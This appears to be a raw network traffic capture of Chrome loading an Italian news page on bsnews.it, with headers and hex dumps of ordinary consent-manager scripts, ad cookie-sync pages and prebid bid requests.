2024-03-28 08:51:18 UTC	768	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPrD2_2bOPb4c9AadRovf_5g2VUok0mX_-1wBxbRmUZZYaTbpqHZ2JFZXFZDnmPEngnvg4C0kQlWsQ x-goog-generation: 1685537609279422 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 3282 x-goog-hash: crc32c=GncuYQ== x-goog-hash: md5=ifIdXux74yf67xD6AgGtgg== x-goog-storage-class: STANDARD Accept-Ranges: bytes Content-Length: 3282 Access-Control-Allow-Origin: * Server: UploadServer Date: Thu, 28 Mar 2024 08:51:18 GMT Last-Modified: Wed, 31 May 2023 12:53:29 GMT ETag: "89f21d5eec7be327faef10fa0201ad82" Content-Type: text/javascript Vary: Accept-Encoding Age: 0 Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:18 UTC	484	IN	Data Raw: 2f 2a 2a 0d 0a 20 2a 20 52 6f 75 74 65 20 76 31 2e 30 2e 31 0d 0a 20 2a 20 41 64 64 65 64 20 69 73 4f 62 6a 65 63 74 20 61 6e 64 20 6d 65 72 67 65 44 65 65 70 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 69 6d 70 6c 65 6d 65 6e 74 20 63 75 73 74 6f 6d 20 6f 70 74 69 6f 6e 73 20 66 72 6f 6d 20 70 61 72 61 6d 65 74 65 72 73 0d 0a 20 2a 2f 0d 0a 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 77 2c 20 64 2c 20 74 65 73 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 63 73 20 3d 20 64 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 0d 0a 20 20 20 20 20 20 20 20 2c 20 64 65 66 65 72 20 3d 20 63 73 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 27 64 65 66 65 72 27 29 20 3f 20 74 72 75 65 20 3a 20 66 61 6c 73 65 0d 0a 20 20 20 20 20 20 20 20 2c 20 69 73 4f 62 6a 65 63 74 20 3d 20 66 75 6e 63 Data Ascii: /** * Route v1.0.1 * Added isObject and mergeDeep in order to implement custom options from parameters */(function (w, d, test) { var cs = d.currentScript , defer = cs.hasAttribute('defer') ? true : false , isObject = func
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 61 72 67 75 6d 65 6e 74 73 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 20 74 61 72 67 65 74 20 3d 20 61 72 67 73 2e 73 68 69 66 74 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 61 72 67 73 2e 6c 65 6e 67 74 68 29 20 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 73 6f 75 72 63 65 20 3d 20 61 72 67 73 2e 73 68 69 66 74 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 73 4f 62 6a 65 63 74 28 74 61 72 67 65 74 29 20 26 26 20 69 73 4f 62 6a 65 63 74 28 73 6f 75 72 63 65 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 20 28 63 6f 6e 73 74 20 6b 65 79 20 69 6e 20 73 6f 75 72 63 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: arguments); let target = args.shift(); if (!args.length) return target; const source = args.shift(); if (isObject(target) && isObject(source)) { for (const key in source) {
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 20 74 79 70 65 6f 66 20 63 73 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 63 73 20 3f 20 28 63 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 27 70 72 6f 76 69 64 65 72 49 64 27 29 20 7c 7c 20 70 61 72 61 6d 73 2e 67 65 74 28 27 70 72 6f 76 69 64 65 72 49 64 27 29 20 7c 7c 20 27 27 29 20 3a 20 27 27 0d 0a 20 20 20 20 20 20 20 20 2c 20 6f 70 74 69 6f 6e 73 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 74 72 79 20 7b 20 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 63 73 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 63 73 20 3f 20 4a 53 4f 4e 2e 70 61 72 73 65 28 28 63 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 27 6f 70 74 69 6f 6e 73 27 29 20 7c 7c 20 70 61 72 61 6d 73 2e 67 65 74 28 27 6f 70 74 69 6f 6e 73 27 29 20 7c 7c 20 27 Data Ascii: typeof cs !== 'undefined' && cs ? (cs.getAttribute('providerId') \|\| params.get('providerId') \|\| '') : '' , options = (function(){ try { return typeof cs !== 'undefined' && cs ? JSON.parse((cs.getAttribute('options') \|\| params.get('options') \|\| '
2024-03-28 08:51:18 UTC	294	IN	Data Raw: 70 74 27 29 3b 0d 0a 20 20 20 20 73 2e 73 72 63 20 3d 20 54 4e 43 5f 43 6f 72 65 53 63 72 69 70 74 5b 30 5d 3b 20 2f 2f 20 2b 20 27 3f 27 2b 20 63 61 63 68 65 62 75 73 74 65 72 0d 0a 20 20 20 20 2f 2f 20 73 2e 69 64 20 3d 20 54 4e 43 5f 43 6f 72 65 53 63 72 69 70 74 5b 31 5d 3b 0d 0a 20 20 20 20 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 67 6c 6f 62 61 6c 27 2c 20 67 6c 6f 62 61 6c 29 3b 0d 0a 20 20 20 20 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 64 65 66 65 72 20 3f 20 73 2e 64 65 66 65 72 20 3d 20 74 72 75 65 20 3a 20 6e 75 6c 6c 3b 0d 0a 20 20 20 20 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 68 65 61 64 2c 62 6f 64 79 27 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 3b 0d 0a 0d 0a 7d 29 28 77 69 6e 64 6f 77 2c 20 64 Data Ascii: pt'); s.src = TNC_CoreScript[0]; // + '?'+ cachebuster // s.id = TNC_CoreScript[1]; s.setAttribute('global', global); s.async = true; defer ? s.defer = true : null; d.querySelector('head,body').appendChild(s);})(window, d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	49979	108.156.120.115	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	546	OUT	GET /latest/launchpad.bundle.js HTTP/1.1 Host: launchpad.privacymanager.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	639	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 128635 Connection: close Date: Thu, 28 Mar 2024 08:23:29 GMT Last-Modified: Mon, 26 Feb 2024 08:21:44 GMT ETag: "a92f9ecbaf5821d1d35c439a0dc33104" x-amz-server-side-encryption: AES256 Cache-Control: must-revalidate,public,max-age=3600 x-amz-version-id: .0smH5v3yC0Mj5CY0Yn4_OXkkced__tN Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 c01d48edb0794eca1f63d361e3e71c72.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P3 X-Amz-Cf-Id: 9CQjpMZ_goDjVQY2CdhPcFruYO9VDLZMG-F483P3lRnfvHAeYwBoLw== Age: 1669
2024-03-28 08:51:18 UTC	15745	IN	Data Raw: 2f 2a 2a 2a 2a 2a 2a 2f 20 28 28 29 20 3d 3e 20 7b 20 2f 2f 20 77 65 62 70 61 63 6b 42 6f 6f 74 73 74 72 61 70 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 76 61 72 20 5f 5f 77 65 62 70 61 63 6b 5f 6d 6f 64 75 6c 65 73 5f 5f 20 3d 20 28 7b 0a 0a 2f 2a 2a 2a 2f 20 32 37 34 3a 0a 2f 2a 2a 2a 2f 20 28 28 5f 5f 75 6e 75 73 65 64 5f 77 65 62 70 61 63 6b 5f 6d 6f 64 75 6c 65 2c 20 65 78 70 6f 72 74 73 2c 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 20 3d 3e 20 7b 0a 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 0a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 78 70 6f 72 74 73 2c 20 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 20 28 7b 0a 20 20 76 61 6c 75 65 3a 20 74 72 75 65 0a 7d 29 29 3b 0a 65 78 70 6f 72 74 73 5b 22 64 65 66 61 75 Data Ascii: /****/ (() => { // webpackBootstrap/**/ var __webpack_modules__ = ({// 274:/**/ ((__unused_webpack_module, exports, __webpack_require__) => {"use strict";Object.defineProperty(exports, "__esModule", ({ value: true}));exports["defau
2024-03-28 08:51:18 UTC	16384	IN	Data Raw: 20 7c 7c 20 6f 62 6a 65 63 74 2e 65 78 70 69 72 65 20 3e 20 2b 6e 65 77 20 44 61 74 65 28 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 62 6a 65 63 74 2e 64 61 74 61 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 70 72 65 76 65 6e 74 46 61 6c 6c 62 61 63 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 64 61 74 61 20 3d 20 72 65 61 64 43 6f 6f 6b 69 65 28 6e 61 6d 65 2c 20 74 72 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 64 61 74 61 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 64 61 74 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 62 6a 65 63 74 2e 64 61 Data Ascii: \|\| object.expire > +new Date()) { return object.data; } if (!preventFallback) { const data = readCookie(name, true); if (data) { return data; } return object.da
2024-03-28 08:51:18 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 20 6d 64 35 68 68 28 61 2c 20 62 2c 20 63 2c 20 64 2c 20 78 2c 20 73 2c 20 74 29 20 7b 0a 20 20 72 65 74 75 72 6e 20 6d 64 35 63 6d 6e 28 62 20 5e 20 63 20 5e 20 64 2c 20 61 2c 20 62 2c 20 78 2c 20 73 2c 20 74 29 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 6d 64 35 69 69 28 61 2c 20 62 2c 20 63 2c 20 64 2c 20 78 2c 20 73 2c 20 74 29 20 7b 0a 20 20 72 65 74 75 72 6e 20 6d 64 35 63 6d 6e 28 63 20 5e 20 28 62 20 7c 20 7e 64 29 2c 20 61 2c 20 62 2c 20 78 2c 20 73 2c 20 74 29 3b 0a 7d 0a 0a 76 61 72 20 5f 64 65 66 61 75 6c 74 20 3d 20 6d 64 35 3b 0a 65 78 70 6f 72 74 73 5b 22 64 65 66 61 75 6c 74 22 5d 20 3d 20 5f 64 65 66 61 75 6c 74 3b 0a 0a 2f 2a 2a 2a 2f 20 7d 29 2c 0a 0a 2f 2a 2a 2a 2f 20 38 38 3a 0a 2f 2a 2a 2a 2f 20 28 28 5f 5f 75 6e 75 73 Data Ascii: ction md5hh(a, b, c, d, x, s, t) { return md5cmn(b ^ c ^ d, a, b, x, s, t);}function md5ii(a, b, c, d, x, s, t) { return md5cmn(c ^ (b \| ~d), a, b, x, s, t);}var _default = md5;exports["default"] = _default;/*/ }),// 88:/**/ ((__unus
2024-03-28 08:51:18 UTC	16384	IN	Data Raw: 3e 20 7b 0a 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 0a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 78 70 6f 72 74 73 2c 20 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 20 28 7b 0a 20 20 76 61 6c 75 65 3a 20 74 72 75 65 0a 7d 29 29 3b 0a 65 78 70 6f 72 74 73 5b 22 64 65 66 61 75 6c 74 22 5d 20 3d 20 76 6f 69 64 20 30 3b 0a 0a 76 61 72 20 5f 72 65 67 65 78 20 3d 20 5f 69 6e 74 65 72 6f 70 52 65 71 75 69 72 65 44 65 66 61 75 6c 74 28 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 32 36 31 29 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 5f 69 6e 74 65 72 6f 70 52 65 71 75 69 72 65 44 65 66 61 75 6c 74 28 6f 62 6a 29 20 7b 20 72 65 74 75 72 6e 20 6f 62 6a 20 26 26 20 6f 62 6a 2e 5f 5f 65 73 4d 6f 64 75 6c 65 20 3f 20 6f 62 6a Data Ascii: > {"use strict";Object.defineProperty(exports, "__esModule", ({ value: true}));exports["default"] = void 0;var _regex = _interopRequireDefault(__webpack_require__(261));function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj
2024-03-28 08:51:18 UTC	16384	IN	Data Raw: 73 65 6e 74 3a 20 66 61 6c 73 65 0a 20 20 7d 3b 0a 20 20 69 66 20 28 73 65 63 74 69 6f 6e 29 20 7b 0a 20 20 20 20 67 70 70 43 6f 6e 73 65 6e 74 4f 62 6a 65 63 74 2e 63 6f 6e 73 65 6e 74 20 3d 20 73 65 63 74 69 6f 6e 2e 53 68 61 72 69 6e 67 4e 6f 74 69 63 65 20 3d 3d 3d 20 31 20 26 26 20 73 65 63 74 69 6f 6e 2e 53 61 6c 65 4f 70 74 4f 75 74 4e 6f 74 69 63 65 20 3d 3d 3d 20 31 20 26 26 20 73 65 63 74 69 6f 6e 2e 54 61 72 67 65 74 65 64 41 64 76 65 72 74 69 73 69 6e 67 4f 70 74 4f 75 74 4e 6f 74 69 63 65 20 3d 3d 3d 20 31 20 26 26 20 28 73 65 63 74 69 6f 6e 2e 53 65 6e 73 69 74 69 76 65 44 61 74 61 50 72 6f 63 65 73 73 69 6e 67 4f 70 74 4f 75 74 4e 6f 74 69 63 65 20 3d 3d 3d 20 30 20 7c 7c 20 73 65 63 74 69 6f 6e 2e 53 65 6e 73 69 74 69 76 65 44 61 74 61 50 Data Ascii: sent: false }; if (section) { gppConsentObject.consent = section.SharingNotice === 1 && section.SaleOptOutNotice === 1 && section.TargetedAdvertisingOptOutNotice === 1 && (section.SensitiveDataProcessingOptOutNotice === 0 \|\| section.SensitiveDataP
2024-03-28 08:51:19 UTC	16384	IN	Data Raw: 20 20 20 72 65 74 75 72 6e 20 63 6f 6f 6b 69 65 41 70 70 49 64 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 41 70 70 49 64 42 79 43 68 61 6e 63 65 28 61 70 70 73 29 3b 0a 20 20 7d 3b 0a 20 20 67 65 74 41 70 70 49 64 42 79 43 68 61 6e 63 65 20 3d 20 61 70 70 73 20 3d 3e 20 7b 0a 20 20 20 20 6c 65 74 20 74 6f 74 61 6c 20 3d 20 30 3b 0a 20 20 20 20 61 70 70 73 2e 66 6f 72 45 61 63 68 28 61 70 70 20 3d 3e 20 7b 0a 20 20 20 20 20 20 74 6f 74 61 6c 20 2b 3d 20 2b 61 70 70 2e 77 65 69 67 68 74 3b 0a 20 20 20 20 7d 29 3b 0a 20 20 20 20 6c 65 74 20 72 61 6e 64 20 3d 20 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 20 2a 20 74 6f 74 61 6c 3b 0a 20 20 20 20 66 6f 72 20 28 63 6f 6e 73 74 20 61 70 70 20 6f 66 20 61 Data Ascii: return cookieAppId; } } return this.getAppIdByChance(apps); }; getAppIdByChance = apps => { let total = 0; apps.forEach(app => { total += +app.weight; }); let rand = Math.random() * total; for (const app of a
2024-03-28 08:51:19 UTC	16384	IN	Data Raw: 20 72 65 74 75 72 6e 20 65 20 3f 20 74 20 3a 20 72 3b 0a 20 20 7d 29 28 65 29 3b 0a 7d 0a 66 75 6e 63 74 69 6f 6e 20 5f 69 6e 74 65 72 6f 70 52 65 71 75 69 72 65 57 69 6c 64 63 61 72 64 28 65 2c 20 72 29 20 7b 0a 20 20 69 66 20 28 21 72 20 26 26 20 65 20 26 26 20 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 29 20 72 65 74 75 72 6e 20 65 3b 0a 20 20 69 66 20 28 6e 75 6c 6c 20 3d 3d 3d 20 65 20 7c 7c 20 22 6f 62 6a 65 63 74 22 20 21 3d 20 74 79 70 65 6f 66 20 65 20 26 26 20 22 66 75 6e 63 74 69 6f 6e 22 20 21 3d 20 74 79 70 65 6f 66 20 65 29 20 72 65 74 75 72 6e 20 7b 0a 20 20 20 20 64 65 66 61 75 6c 74 3a 20 65 0a 20 20 7d 3b 0a 20 20 76 61 72 20 74 20 3d 20 5f 67 65 74 52 65 71 75 69 72 65 57 69 6c 64 63 61 72 64 43 61 63 68 65 28 72 29 3b 0a 20 20 69 66 20 28 74 Data Ascii: return e ? t : r; })(e);}function _interopRequireWildcard(e, r) { if (!r && e && e.__esModule) return e; if (null === e \|\| "object" != typeof e && "function" != typeof e) return { default: e }; var t = _getRequireWildcardCache(r); if (t
2024-03-28 08:51:19 UTC	14586	IN	Data Raw: 6f 6c 65 20 2a 2f 0a 0a 63 6f 6e 73 74 20 6c 6f 67 4c 65 76 65 6c 73 20 3d 20 5b 27 64 65 62 75 67 27 2c 20 27 69 6e 66 6f 27 2c 20 27 77 61 72 6e 27 2c 20 27 65 72 72 6f 72 27 5d 3b 0a 76 61 72 20 5f 64 65 66 61 75 6c 74 20 3d 20 65 78 70 6f 72 74 73 5b 22 64 65 66 61 75 6c 74 22 5d 20 3d 20 6c 6f 67 4c 65 76 65 6c 73 2e 72 65 64 75 63 65 28 28 6c 6f 67 67 65 72 2c 20 66 75 6e 63 4e 61 6d 65 2c 20 69 6e 64 65 78 29 20 3d 3e 20 7b 0a 20 20 6c 6f 67 67 65 72 5b 66 75 6e 63 4e 61 6d 65 5d 20 3d 20 28 2e 2e 2e 61 72 67 73 29 20 3d 3e 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 63 6f 6e 73 6f 6c 65 46 75 6e 63 20 3d 20 66 75 6e 63 4e 61 6d 65 20 3d 3d 3d 20 27 64 65 62 75 67 27 20 3f 20 27 6c 6f 67 27 20 3a 20 66 75 6e 63 4e 61 6d 65 3b 0a 20 20 20 20 63 6f 6e 73 Data Ascii: ole */const logLevels = ['debug', 'info', 'warn', 'error'];var _default = exports["default"] = logLevels.reduce((logger, funcName, index) => { logger[funcName] = (...args) => { const consoleFunc = funcName === 'debug' ? 'log' : funcName; cons

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	49970	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	780	OUT	GET /b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=56538560&rd=1 HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376
2024-03-28 08:51:19 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: raibs=1; expires=Thu, 28 Mar 2024 08:43:09 GMT; Max-Age=10; path=/; domain=.richaudience.com; secure; HttpOnly; SameSite=None
2024-03-28 08:51:19 UTC	1739	IN	Data Raw: 36 62 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 53 79 6e 63 50 69 78 65 6c 28 70 69 78 65 6c 55 72 6c 29 7b 0a 09 09 09 76 61 72 20 61 76 49 6d 67 53 79 6e 63 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 69 6d 67 27 29 3b 0a 09 09 09 61 76 49 6d 67 53 79 6e 63 2e 77 69 64 74 68 20 3d 20 22 31 22 3b 0a 09 09 09 61 76 49 6d 67 53 79 6e Data Ascii: 6bf<!DOCTYPE html><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script>function loadSyncPixel(pixelUrl){var avImgSync = document.createElement('img');avImgSync.width = "1";avImgSyn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	50002	34.235.214.237	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	588	OUT	POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1 Host: btlr.sharethrough.com Connection: keep-alive Content-Length: 1130 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1130	OUT	Data Raw: 7b 22 69 64 22 3a 22 32 36 36 31 34 32 39 30 2d 33 30 34 30 2d 34 39 63 34 2d 38 36 32 37 2d 39 39 61 63 66 35 34 35 34 65 62 37 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 74 6d 61 78 22 3a 33 30 30 30 2c 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 62 73 6e 65 77 73 2e 69 74 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 22 2c 22 72 65 66 22 3a 6e 75 6c 6c 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 62 73 6e 65 77 73 2e 69 74 22 Data Ascii: {"id":"26614290-3040-49c4-8627-99acf5454eb7","at":1,"cur":["USD"],"tmax":3000,"site":{"domain":"bsnews.it","page":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","ref":null,"publisher":{"domain":"bsnews.it"
2024-03-28 08:51:19 UTC	491	IN	HTTP/1.1 200 OK set-cookie: stx_user_id=56dcab42-5b21-4b0a-9d73-5fad37d10fff; Max-Age=2592000; Expires=Sat, 27 Apr 2024 08:51:19 GMT; Path=/; Domain=.sharethrough.com; Secure; SameSite=None content-type: application/json; charset=utf-8 cache-control: private, no-cache, no-store, must-revalidate content-length: 640 x-openrtb-version: 2.5 access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true date: Thu, 28 Mar 2024 08:51:19 GMT connection: close
2024-03-28 08:51:19 UTC	640	IN	Data Raw: 7b 22 63 6f 6f 6b 69 65 53 79 6e 63 55 72 6c 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 66 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 73 68 61 72 65 74 68 72 6f 75 67 68 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 2c 22 68 74 74 70 73 3a 2f 2f 73 73 62 73 79 6e 63 2e 73 6d 61 72 74 61 64 73 65 72 76 65 72 2e 63 6f 6d 2f 61 70 69 2f 73 79 6e 63 3f 63 61 6c 6c 65 72 49 64 3d 34 37 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 2c 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 73 72 76 2e 73 74 61 63 6b 61 64 61 70 74 2e 63 6f 6d 2f 73 79 6e 63 3f 6e 69 64 3d 31 35 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 Data Ascii: {"cookieSyncUrls":["https://match.adsrvr.org/track/cmf/generic?ttd_pid=sharethrough&ttd_tpi=1&gdpr=0&gdpr_consent=","https://ssbsync.smartadserver.com/api/sync?callerId=47&gdpr=0&gdpr_consent=","https://sync.srv.stackadapt.com/sync?nid=15&gdpr=0&gdpr_cons

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	50004	23.105.12.161	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	565	OUT	POST /prebid/v1 HTTP/1.1 Host: prg.smartadserver.com Connection: keep-alive Content-Length: 667 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	667	OUT	Data Raw: 7b 22 73 69 74 65 69 64 22 3a 32 38 31 38 35 35 2c 22 70 61 67 65 69 64 22 3a 31 30 33 39 33 31 33 2c 22 66 6f 72 6d 61 74 69 64 22 3a 38 38 32 30 30 2c 22 74 61 72 67 65 74 69 6e 67 22 3a 22 54 31 3b 53 4d 22 2c 22 63 6b 69 64 22 3a 30 2c 22 74 61 67 49 64 22 3a 22 61 64 75 31 22 2c 22 70 61 67 65 44 6f 6d 61 69 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 22 2c 22 74 69 6d 65 6f 75 74 22 3a 33 30 30 30 2c 22 62 69 64 49 64 22 3a 22 34 35 38 36 66 62 39 35 37 64 61 33 34 66 33 22 2c 22 70 72 65 62 69 64 56 65 Data Ascii: {"siteid":281855,"pageid":1039313,"formatid":88200,"targeting":"T1;SM","ckid":0,"tagId":"adu1","pageDomain":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","timeout":3000,"bidId":"4586fb957da34f3","prebidVe
